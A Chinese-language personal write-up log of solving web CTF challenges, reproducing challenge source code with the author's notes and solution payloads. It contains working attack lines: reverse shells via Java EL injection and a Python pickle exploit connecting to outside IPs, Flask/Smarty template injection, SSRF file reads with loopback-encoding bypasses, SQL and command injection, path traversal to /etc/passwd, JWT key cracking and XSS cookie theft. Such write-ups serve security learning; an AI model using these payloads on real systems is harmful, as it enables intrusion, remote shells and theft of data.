这是个服务器的响应头,收到参数Bob,然后就生成url,发起请求。想到SSRF
这里改成其他参数,可以看到url也变了,这里使用伪协议读取一下:
1/index.cgi?name=file:///etc/passwd没有变化,是被过滤了,wp说file前面加空格就行,离谱。你们怎么那么天才
后记:这个绕过在以前刷的题我就写过。。。BUUCTF Web 刷题记录-[RoarCTF 2019]Easy Calc
老是刷过还忘了
1/index.cgi?name= file:///etc/passwd这杨就看到了,直接猜文件在根目录:
1/index.cgi?name= file:///flagsodirty
扫到备份www.zip
看源码,我以为是简单操作,首先新建用户,通过update修改名字,密码,年龄,符合条件后访问getflag就行
1const Admin = {
2 "password":process.env.password?process.env.password:"password"
3}
4
5router.post("/getflag", function (req, res, next) {
6 if (req.body.password === undefined || req.body.password === req.session.challenger.password){
7 res.send("登录失败");
8 }else{
9 if(req.session.challenger.age > 79){
10 res.send("糟老头子坏滴很");
11 }
12 let key = req.body.key.toString();
13 let password = req.body.password.toString();
14 if(Admin[key] === password){
15 res.send(process.env.flag ? process.env.flag : "flag{test}");
16 }else {
17 res.send("密码错误,请使用管理员用户名登录.");
18 }
19 }
20
21});但是这里要求Admin常量key键对应的值要为请求体传入的password,Admin就一个键,默认是env里面的。这里蒙不中的。
知识点是原型链污染
update:
就是我在update里面修改原型的值,然后getflag:
Admin中没有这个键,它就会向原链找,最终找到我们修改的那个,然后登录成功。
知识点请看:狼组知识库 - nodejs原型链污染
Java EL表达式注入
知识点参考:Drunkbaby - Java 之 EL 表达式注入
writeup:ailx10 - Bugku-CTF-Java EL表达式注入
在那个输入IP的地方填写:
1''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc 111.231.104.121 12138 -e /bin/sh'))反弹shell的格式就是题目提示的。
以后细学,这些貌似在特招里不常见
社工-初步收集
有后台,下载辅助软件,逆向或者抓包都能得到邮箱账号和一个授权码:
这个实际上是能登录邮箱的,但是被前人删除了授权码,听说还有删关键信息邮件的,官方有补档,但是没办法每次监控邮箱授权码有没有被篡改。
我登不上,看其他wp知道密码是:mara / 20010206,正经做是登录邮箱后翻邮件找到记录关键信息的,然后按生日生成密码,进行爆破。
登录上之后,在设置里能翻到flag
第四页
ez_java_serialize
Java题,留着吧
聪明的php
随便传个参就显示源码:
1include('./libs/Smarty.class.php');
2echo "pass a parameter and maybe the flag file's filename is random :>";
3$smarty = new Smarty();
4if($_GET){
5 highlight_file('index.php');
6 foreach ($_GET AS $key => $value)
7 {
8 print $key."\n";
9 if(preg_match("/flag|\/flag/i", $value)){
10
11 $smarty->display('./template.html');
12
13
14 }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
15
16
17 $smarty->display('./template.html');
18
19 }else{
20 $smarty->display("eval:".$value);
21 }
22
23 }
24}
25?>
foreach ($_GET AS $key => $value)意思是get传进去的参数组成KV结构,迭代每个key
看了评论才知道Smarty的模板注入,注入点在最后一个$value。他的display方法会造成模板注入,格式是{php函数}
由于提示了flag名是随机的,所以需要查目录,评论用的函数是passthru
passthru是PHP语言中一个常用的系统调用函数,其能够执行系统命令并将结果直接输出到浏览器,也就是说,它的输出是直接传送到输出流而不是通过函数的返回值实现。
php上面的代码通过passthru函数执行了linux系统的ls命令,将结果直接输出在浏览器中。
传入{passthru("ls /")}可查看目录,使用{passthru("tac /_31545")}即可
第二种是:{var_dump(scandir("/"))}查看目录,{show_source("/_31545")}来读文件
Python Pickle Unserializer
知识点看好兄弟的:dr0n - python反序列化
扫描到source路径有源码:
1#!/usr/bin/python3
2# -*- coding: UTF-8 -*-
3"""
4@ Author: HeliantHuS
5@ Codes are far away from bugs with the animal protecting
6@ Time: 2021-08-05
7@ FileName: main.py
8"""
9import pickle
10import base64
11from flask import Flask, request
12app = Flask(__name__)
13@app.route("/", methods=["GET"])
14def index():
15 return """
16Not Found
17The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
18
19""", 666, [("TIPS", "/source")]
20
21@app.route("/source", methods=["GET"])
22def source():
23 with open(__file__, "r") as fp:
24 return fp.read()
25@app.route("/flag", methods=["PUT"])
26def get_flag():
27 try:
28 data = request.json
29 if data:
30 return pickle.loads(base64.b64decode(data["payload"]))
31 return "MISSED"
32 except:
33 return "OH NO!!!"
34if __name__ == '__main__':
35 app.run(host="0.0.0.0", port=80)不太明白怎么不输出,能return missed,为什么上一个return不能返回我的whoami呢?
我传入了json,为啥还missed
这里看的wp:
使用生成payload的脚本:
1import pickle
2import base64
3import subprocess
4
5class Exploit:
6 def __reduce__(self):
7 # 返回一个可调用对象和其参数
8 return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.162.13",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))
9
10# 创建 payload
11exploit = Exploit()
12payload = base64.b64encode(pickle.dumps(exploit)).decode()
13print(payload)然后BP发包就行,源码里指定请求方式用PUT,put和post格式一样的,注意mime改一下application/json
这题以后细看吧,先放着
Java Fastjson Unserialize
先放着
CaaS1
源码:
1#!/usr/bin/env python3
2from flask import Flask, request, render_template, render_template_string, redirect
3import subprocess
4import urllib
5
6app = Flask(__name__)
7
8def blacklist(inp):
9 blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
10 for b in blacklist:
11 if b in inp:
12 return "Blacklisted word!"
13 if len(inp) <= 70:
14 return inp
15 if len(inp) > 70:
16 return "Input too long!"
17
18@app.route('/')
19def main():
20 return redirect('/generate')
21
22@app.route('/generate',methods=['GET','POST'])
23def generate_certificate():
24 if request.method == 'GET':
25 return render_template('generate_certificate.html')
26 elif request.method == 'POST':
27 name = blacklist(request.values['name'])
28 teamname = request.values['team_name']
29 return render_template_string(f'<p>Haha! No certificate for {name}</p>')
30
31if __name__ == '__main__':
32 app.run(host='0.0.0.0', port=80)模板注入点在{name}
焚靖也不行了
先放着
钱花了,先偷个payload吧:
1name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read()CBC
扫到.index.php.swp,使用vim -r .index.php.swp恢复文件,然后:w 1.txt保存到新文件。
源码:
1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2<html>
3<head>
4<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
5<title>Login Form</title>
6<link href="static/css/style.css" rel="stylesheet" type="text/css" />
7<script type="text/javascript" src="static/js/jquery.min.js"></script>
8<script type="text/javascript">
9$(document).ready(function() {
10 $(".username").focus(function() {
11 $(".user-icon").css("left","-48px");
12 });
13 $(".username").blur(function() {
14 $(".user-icon").css("left","0px");
15 });
16
17 $(".password").focus(function() {
18 $(".pass-icon").css("left","-48px");
19 });
20 $(".password").blur(function() {
21 $(".pass-icon").css("left","0px");
22 });
23});
24</script>
25</head>
26
27<?php
28define("SECRET_KEY", file_get_contents('/root/key'));
29define("METHOD", "aes-128-cbc");
30session_start();
31
32function get_random_iv(){
33 $random_iv='';
34 for($i=0;$i<16;$i++){
35 $random_iv.=chr(rand(1,255));
36 }
37 return $random_iv;
38}
39
40function login($info){
41 $iv = get_random_iv();
42 $plain = serialize($info);
43 $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
44 $_SESSION['username'] = $info['username'];
45 setcookie("iv", base64_encode($iv));
46 setcookie("cipher", base64_encode($cipher));
47}
48
49function check_login(){
50 if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
51 $cipher = base64_decode($_COOKIE['cipher']);
52 $iv = base64_decode($_COOKIE["iv"]);
53 if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
54 $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
55 $_SESSION['username'] = $info['username'];
56 }else{
57 die("ERROR!");
58 }
59 }
60}
61
62function show_homepage(){
63 if ($_SESSION["username"]==='admin'){
64 echo '<p>Hello admin</p>';
65 echo '<p>Flag is $flag</p>';
66 }else{
67 echo '<p>hello '.$_SESSION['username'].'</p>';
68 echo '<p>Only admin can see flag</p>';
69 }
70 echo '<p><a href="loginout.php">Log out</a></p>';
71}
72
73if(isset($_POST['username']) && isset($_POST['password'])){
74 $username = (string)$_POST['username'];
75 $password = (string)$_POST['password'];
76 if($username === 'admin'){
77 exit('<p>admin are not allowed to login</p>');
78 }else{
79 $info = array('username'=>$username,'password'=>$password);
80 login($info);
81 show_homepage();
82 }
83}else{
84 if(isset($_SESSION["username"])){
85 check_login();
86 show_homepage();
87 }else{
88 echo '<body class="login-body">
89 <div id="wrapper">
90 <div class="user-icon"></div>
91 <div class="pass-icon"></div>
92 <form name="login-form" class="login-form" action="" method="post">
93 <div class="header">
94 <h1>Login Form</h1>
95 <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
96 </div>
97 <div class="content">
98 <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
99 <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
100 </div>
101 <div class="footer">
102 <input type="submit" name="submit" value="Login" class="button" />
103 </div>
104 </form>
105 </div>
106 </body>';
107 }
108}
109?>
110</html>有点难,CBC没想到可以这样攻击,放个wp,以后再来做:Allard_ - Bugku Login4 (CBC字节翻转攻击)
先放着
noteasytrick
提示说 fastcoll 内置类反序列化
完全没听说过的东西,先放着
简单的Include
伪协议读取index.php,源码:
1if (isset($page)) {
2 // WAF 1: 禁止目录遍历
3 if (strpos($page, "..") !== false) {
4 die("<div class='notice'>Hacker deteced! [No Traversal]</div>");
5 }
6
7 // WAF 2: 禁止直接读取flag
8 if (strpos($page, "flag") !== false) {
9 die("<div class='notice'>Hacker deteced! [No Flag]</div>");
10 }
11
12 // 漏洞点
13 include($page);
14
15}这里include了,php伪协议是读网站文件的。PHP 将 Data URL 内容当作 PHP 代码处理,直接用data伪协议执行命令
查目录和输出flag
这里也能用scandir,var_dump,print_r等输出。
也能用短标签<?=,相当于<?php echo,这里短一点就:<?=exec("cat /fla?")?>
对了,system函数是直接执行系统命令,系统的任何回显都会被打印出来,这个函数在命令执行完返回的是命令退出状态。
而exec和shell_exec是返回命令结果,需要使用var_dump,print_r,echo等函数打印出来。
msg_board
先放着
好长好难,我用AI做不出来,AI说的我改造一下发留言了,伪装我写出来了
放个源码,以后再搞吧
1<?php
2session_start();
3
4class User {
5 private $conn;
6
7 public $id;
8 public $username;
9 public $password;
10
11 public function __construct($id = null, $un="ctfer", $pwd="123" ) {
12 $this->conn = new PDO_connect();
13 if ($id) {
14 $this->id = $id;
15 $this->username = $un;
16 $this->password = $pwd;
17 }
18 }
19
20 public function log() {
21 try {
22 $sql = "SELECT * FROM users WHERE username = :username";
23 $pdo = $this->conn->get_connection();
24 $stmt = $pdo->prepare($sql);
25
26 $stmt->bindParam(':username', $this->username);
27 $stmt->execute();
28 $result = $stmt->fetch();
29 return $result;
30 } catch (PDOException $e) {
31 echo $e->getMessage();
32 }
33 }
34
35 public function __destruct() {
36 if ($this->username) {
37 $results = $this->log();
38 $log_mess = serialize($results);
39
40 file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . " at " . time() ."\n", FILE_APPEND);
41 }
42 }
43}
44
45class UserMessage {
46 private $filePath;
47
48 public function __construct() {
49 $this->filePath = "upload/ctfer_message.txt";
50 }
51
52 public function getFilePath() {
53 return $this->filePath;
54 }
55
56 public function writeMessage($message) {
57 $result = file_put_contents($this->filePath, $message);
58 return $result !== false;
59 }
60
61 public function deleteMessage($path) {
62 $path = $path . ".txt";
63 if (file_exists($path)) {
64 $result = unlink($path);
65 return $result !== false;
66 }
67 return false;
68 }
69
70 public function __set($name, $value) {
71 $this->$name = $value;
72 if ($this->filePath && file_exists($this->filePath)) {
73 $logContent = file_get_contents($this->filePath) . "</br>";
74 file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
75 }
76 }
77}
78
79class PDO_connect {
80 private $pdo;
81 public $con_options = [];
82 public $smt;
83 public $conn = null;
84
85 public function __construct() {
86 $this->con_options = array(
87 "dsn" => "sqlite:db.db",
88 'user' => 'ctf',
89 'password' => '123456',
90 'charset' => 'utf8',
91 'options' => array(
92 PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
93 PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
94 )
95 );
96 }
97
98 public function get_connection() {
99 try {
100 $this->conn = new PDO(
101 $this->con_options['dsn'],
102 $this->con_options['user'],
103 $this->con_options['password']
104 );
105
106 if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {
107 $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);
108 }
109
110 if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {
111 $this->conn->setAttribute(
112 PDO::ATTR_DEFAULT_FETCH_MODE,
113 $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]
114 );
115 }
116
117 } catch (PDOException $e) {
118 echo 'Connection Error: ' . $e->getMessage();
119 }
120 return $this->conn;
121 }
122}
123
124
125$user = new User(1, "ctfer");
126$userMessage = new UserMessage($user->username);
127
128$action = $_GET['action'] ?? '';
129
130switch ($action) {
131 case 'write':
132 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
133 $message = base64_decode($_POST['message']) ?? '';
134 if ($userMessage->writeMessage($message)) {
135 echo "留言已保存!";
136 $_SESSION['message_path'] = $userMessage->getFilePath();
137 } else {
138 echo "保存失败";
139 }
140 }
141 break;
142
143 case 'view':
144 $path = $userMessage->getFilePath();
145 if (file_exists($path)) {
146 echo "留言内容:<br>";
147 echo htmlspecialchars(file_get_contents($path));
148 } else {
149 echo "暂无留言";
150 }
151 break;
152
153 case 'delete':
154 $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];
155 $msg = $userMessage->deleteMessage($message);
156 if ($msg) {
157 echo "留言已成功删除";
158 } else {
159 echo "操作失败,请重新尝试";
160 }
161 break;
162
163 default:
164 highlight_file(__FILE__);
165}
166
167
168?>
平台Web刷完了
比赛真题
inspect-me
Ctrl + U
my-first-sqli
11'or 1=1--+万能密码
post-the-get
F12 改一下表单的GET为POST,删除input的disabled
内容随便写
sqli-0x1
略难,主要代码有的没看懂,而且不知道%09绕过。但是我知道用union select造假数据
F12提示:/pls_help
源码:注释是我写的
1<?php
2error_reporting(0);
3error_log(0);
4
5require_once("flag.php");
6// waf
7function is_trying_to_hak_me($str)
8{
9 $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
10 // 若含单引号
11 if (strpos($str, "'") !== false) {
12 //若 非 字母'字母 结构
13 if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
14 return true;
15 }
16 }
17 //遍历黑名单,存在就true
18 foreach ($blacklist as $token) {
19 if (strpos($str, $token) !== false) return true;
20 }
21 return false;
22}
23
24if (isset($_GET["pls_help"])) {
25 highlight_file(__FILE__);
26 exit;
27}
28
29if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
30 $user = $_POST["user"];
31 $pass = $_POST["pass"];
32 //只对user过滤
33 if (is_trying_to_hak_me($user)) {
34 die("why u bully me");
35 }
36
37 $db = new SQLite3("/var/db.sqlite");
38 $result = $db->query("SELECT * FROM users WHERE username='$user'");
39 //语法出错就die
40 if ($result === false) die("pls dont break me");
41 //从sql语句里面匹配数据
42 else $result = $result->fetchArray();
43
44 if ($result) {
45 //用$把password分为两部分
46 $split = explode('$', $result["password"]);
47 // 前一部分是hash值
48 $password_hash = $split[0];
49 // 后面是盐
50 $salt = $split[1];
51 //若 输入的密码拼接盐,sha256之后等于输入的密码前半部分,就登录成功
52 if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
53 else $err = "Wrong password";
54 }
55 else $err = "No such user";
56}
57?>
58
59<!DOCTYPE html>
60<html>
61<head>
62 <title>Hack.INI 9th - SQLi</title>
63</head>
64<body>
65 <?php if (isset($logged_in) && $logged_in): ?>
66 <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
67 <?php else: ?>
68 <form method="post">
69 <input type="text" placeholder="Username" name="user" required>
70 <input type="password" placeholder="Password" name="pass" required>
71 <button type="submit">Login</button>
72 <br><br>
73 <?php if (isset($err)) echo $err; ?>
74 </form>
75 <?php endif; ?>
76 <!-- <a href="/?pls_help">get some help</a> -->
77</body>
78</html>过滤那里,只过滤user,并且user可以有单引号,但是必须是被字母数字夹住。例如a'or这种
这里先执行
1pass=123456&user=admin'order by 2;写3报错,说明只有俩字段,根据后面那个fetcharray,我猜测就是username和password
这里随便构造密码和盐,我设置的密码是pass,盐是cc
passcc的sha256是:
12118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934所以构造:
1pass=pass&user=adm'union select 'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';此时就无法通过waf,因为存在空格单引号,这里空格用%09绕过:
1pass=pass&user=adm'union%09select%09'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';这里也可以用%0a绕过,参考:
baby lfi
英语,说支持两个语言,让传入language parameter,还提示了passwd
这里写:
1/?language=/etc/passwdbaby lfi 2
需要点脑洞,就提示了languages目录,居然要写:
1./languages/../../../../../../etc/passwdchallenge-creator
难,原型链污染加CSP,先放着
HEADache
太垃圾了这题,请求头里面写:
1Wanna-Something: can-i-have-a-flag-please至于为什么,猜的
lfi
../置空,双写绕过
1/?language=....//....//....//....//....//etc/passwdnextGen 1
有个JS,研究半天:
1function myFunc(eventObj) {
2 var xhttp = new XMLHttpRequest();
3 xhttp.onreadystatechange = function () {
4 if (this.readyState == 4 && this.status == 200) {
5 document.getElementById("content").innerHTML = xhttp.responseText;
6 }
7 };
8 xhttp.open("POST", '/request');
9 xhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
10 xhttp.send("service=" + this.attributes.link.value);
11
12 }
13
14 var dep = document.getElementsByClassName('department');
15 for (var i = 0; i < dep.length; i++) {
16 dep[i].addEventListener('click', myFunc);
17 }就是那个下拉菜单,点击每一个都会调用myFunc,函数内容说什么没看懂,但是看到if结束后,有个发起post 的请求,那个send应该是post的body内容。所以在bp里面一直写service,但一直报服务器内部错误:Internal Server Error
所以猜测是SSRF打内网,这里用data协议:
1service=data://text/plain;127.0.0.1回显127.0.0.1,立马使用file协议,果然出来了:
1service=file:///flag.txt根据那个js,别忘了post的路径是/request
nextGen 2
相比上一题必须用IP访问了,并且禁用了127.0.0.1
这里可以用各种变体:
1service=file://127.0.00.1/flag.txt
2service=file://127.0.0.01/flag.txt
3service=file://127.1/flag.txt
4service=file://0177.1/flag.txt # 八进制
5service=file://0x7f.1/flag.txt # 十六进制,注意这里不能大写
6service=file://2130706433/flag.txt # 十进制整数形式Whois
不会,看了wp发现很简单,query.php不带任何参数,居然显示源码:
1<?php
2
3error_reporting(0);
4
5$output = null;
6$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
7$query_regex = "/^[0-9a-zA-Z\. ]+$/";
8
9
10if (isset($_GET['query']) && isset($_GET['host']) &&
11 is_string($_GET['query']) && is_string($_GET['host'])) {
12
13 $query = $_GET['query'];
14 $host = $_GET['host'];
15
16 if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
17 $output = "Invalid query or whois host";
18 } else {
19 $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
20 }
21
22}
23else {
24 highlight_file(__FILE__);
25 exit;
26}
27
28?>
29
30<!DOCTYPE html>
31<html>
32 <head>
33 <title>Whois</title>
34 </head>
35 <body>
36 <pre><?= htmlspecialchars($output) ?></pre>
37 </body>
38</html>就是要求都要字母数字组成,前面那个带点,无所谓。主要是他后面会拼接命令。
这里用%09(Tab制表符)不行,并没有让命令隔开,可以用0a(换行符),后面直接跟ls
1/query.php?host=whois.verisign-grs.com%0a&query=ls因为是直接执行命令,后面不用带分号之类的
然后有个flag,直接cat读取:
1/query.php?host=whois.verisign-grs.com%0a&query=cat thisistheflagwithrandomstuffthatyouwontguessJUSTCATME这里能匹配成功是因为php的正则引擎,那个$符号不仅能匹配字符串末尾,还能匹配换行符。所以前面都符号,然后匹配到换行符结束。
所以,下面这种就不符合正则了:
1/query.php?host=whois.verisign-grs.com%0acat&query=thisistheflagwithrandomstuffthatyouwontguessJUSTCATMEadversal
先放着
filter-madness
源码里有info.php,打开是phpinfo,搜索flag就有
感觉是考察绕过啊,但是嫌太难给了flag?
charlottesweb
源码提示,打开是个flask源码,然后put方法访问:/super-secret-route-nobody-will-guess就行
zombie-101
试半天,以为是SSRF,看到提示:admin bot has visited your url还没反应过来
原来是XSS盗Cookie
在XSS.report网站,复制个payload进去,然后放第一个框提交,之后会跳转页面,把新页面的地址复制一下放第二个框,bot会去访问他,此时就偷到cookie了
回xss.report看flag
对于如何偷的,是这个网站自己的脚本
zombie-201-401
以后再研究
wp:https://web.archive.org/web/20230601090708/https://www.bugsbunnies.tk/2023/03/18/zombie.html
https://ctf.bugku.com/writeup/detail/id/1413.html
just-work-type
想到了jwt,没想到jwt爆破密钥
这里用的工具是jwt-tool
-C 指定爆破,-d指定字典:
1py jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOmZhbHNlLCJkYXRhIjp7InVzZXJuYW1lIjoiem9tYm8iLCJwYXNzd29yZCI6InpvbWJvIn19LCJpYXQiOjE3Njg0OTQ0NDcsImV4cCI6MTc2ODQ5ODA0N30.feEZbBp__ZCJYG1XoDrhckfs474qVHx-yZl3Gmw4MqM -d "D:\Tools\字典\SecDictionary\用户名o密码字典\TOP密码-增肥全量字典.txt" -C
2
3 \ \ \ \ \ \
4 \__ | | \ |\__ __| \__ __| |
5 | | \ | | | \ \ |
6 | \ | | | __ \ __ \ |
7 \ | _ | | | | | | | |
8 | | / \ | | | | | | | |
9\ | / \ | | |\ |\ | |
10 \______/ \__/ \__| \__| \__| \______/ \______/ \__|
11 Version 2.3.0 \______| @ticarpi
12
13C:\Users\Tajang/.jwt_tool/jwtconf.ini
14Original JWT:
15
16[+] 123 is the CORRECT key!
17You can tamper/fuzz the token contents (-T/-I) and sign it using:
18python3 jwt_tool.py [options here] -S hs256 -p "123"后面我直接用这个工具改admin为true,-T是交互式修改参数
贴进去,刷新一下就行,刷新不要在F12里面修改完cookie后,再点一下hackbar的execute,因为hackbar自身就带cookie请求的,直接点的话请求头里的header还是旧的。
easy-pop
没有什么考点
1<?php
2class lemon{
3 protected $ClassObj;
4 function __construct()
5 {
6 $this->ClassObj=new evil();
7 }
8 function __destruct()
9 {
10 $this->ClassObj->action();
11 }
12}
13class normal{
14 function action(){
15 echo "<img src=\"haha.png\" alt=\"\">";
16 }
17}
18class evil{
19 private $data;
20 function action(){
21 show_source("flag.php");
22 }
23}
24$a=new lemon();
25
26print(urlencode(serialize($a)));checkin
源代码里面,距离上方很大空间,要下滑才能看到